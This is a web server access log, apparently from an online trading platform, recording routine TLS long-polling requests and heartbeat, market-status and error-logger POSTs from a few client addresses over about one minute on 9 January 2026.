[09/Jan/2026:15:47:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945103500 HTTP/1.1" -
[09/Jan/2026:15:47:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945106302 HTTP/1.1" -
[09/Jan/2026:15:47:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945106889 HTTP/1.1" -
[09/Jan/2026:15:47:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945122860 HTTP/1.1" -
[09/Jan/2026:15:47:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945107518 HTTP/1.1" -
[09/Jan/2026:15:47:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945108677 HTTP/1.1" -
[09/Jan/2026:15:47:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945111340 HTTP/1.1" -
[09/Jan/2026:15:47:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945112881 HTTP/1.1" -
[09/Jan/2026:15:47:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945127930 HTTP/1.1" -
[09/Jan/2026:15:47:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945112555 HTTP/1.1" -
[09/Jan/2026:15:47:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945113779 HTTP/1.1" -
[09/Jan/2026:15:47:26 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945116373 HTTP/1.1" -
[09/Jan/2026:15:47:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945132982 HTTP/1.1" -
[09/Jan/2026:15:47:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945117594 HTTP/1.1" -
[09/Jan/2026:15:47:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:47:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:47:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:47:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945118879 HTTP/1.1" -
[09/Jan/2026:15:47:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945118943 HTTP/1.1" -
[09/Jan/2026:15:47:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945121399 HTTP/1.1" -
[09/Jan/2026:15:47:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:47:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945138052 HTTP/1.1" -
[09/Jan/2026:15:47:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945122636 HTTP/1.1" -
[09/Jan/2026:15:47:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945124882 HTTP/1.1" -
[09/Jan/2026:15:47:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945124013 HTTP/1.1" -
[09/Jan/2026:15:47:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:47:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:47:36 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945126442 HTTP/1.1" -
[09/Jan/2026:15:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:47:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:47:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945143073 HTTP/1.1" -
[09/Jan/2026:15:47:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945127660 HTTP/1.1" -
[09/Jan/2026:15:47:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945129156 HTTP/1.1" -
[09/Jan/2026:15:47:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945130887 HTTP/1.1" -
[09/Jan/2026:15:47:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945131474 HTTP/1.1" -
[09/Jan/2026:15:47:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945148090 HTTP/1.1" -
[09/Jan/2026:15:47:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945132691 HTTP/1.1" -
[09/Jan/2026:15:47:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945134217 HTTP/1.1" -
[09/Jan/2026:15:47:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945136507 HTTP/1.1" -
[09/Jan/2026:15:47:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945136878 HTTP/1.1" -
[09/Jan/2026:15:47:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945153119 HTTP/1.1" -
[09/Jan/2026:15:47:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945137731 HTTP/1.1" -
[09/Jan/2026:15:47:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945139332 HTTP/1.1" -
[09/Jan/2026:15:47:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945141581 HTTP/1.1" -
[09/Jan/2026:15:47:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945142889 HTTP/1.1" -
[09/Jan/2026:15:47:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945158142 HTTP/1.1" -
[09/Jan/2026:15:47:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945142780 HTTP/1.1" -
[09/Jan/2026:15:47:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945144482 HTTP/1.1" -
[09/Jan/2026:15:47:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:47:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:47:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945146654 HTTP/1.1" -
[09/Jan/2026:15:47:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945163160 HTTP/1.1" -
[09/Jan/2026:15:47:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945147805 HTTP/1.1" -
[09/Jan/2026:15:47:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:47:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:47:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:47:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945148880 HTTP/1.1" -
[09/Jan/2026:15:48:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945149619 HTTP/1.1" -
[09/Jan/2026:15:48:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945151697 HTTP/1.1" -
[09/Jan/2026:15:48:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:48:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945168196 HTTP/1.1" -
[09/Jan/2026:15:48:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945152860 HTTP/1.1" -
[09/Jan/2026:15:48:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945154893 HTTP/1.1" -
[09/Jan/2026:15:48:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:48:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:48:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945154730 HTTP/1.1" -
[09/Jan/2026:15:48:06 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945156740 HTTP/1.1" -
[09/Jan/2026:15:48:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:48:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:48:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:48:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945173251 HTTP/1.1" -
[09/Jan/2026:15:48:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945157886 HTTP/1.1" -
[09/Jan/2026:15:48:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945160884 HTTP/1.1" -
[09/Jan/2026:15:48:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945159918 HTTP/1.1" -
[09/Jan/2026:15:48:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945161783 HTTP/1.1" -
[09/Jan/2026:15:48:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945178278 HTTP/1.1" -
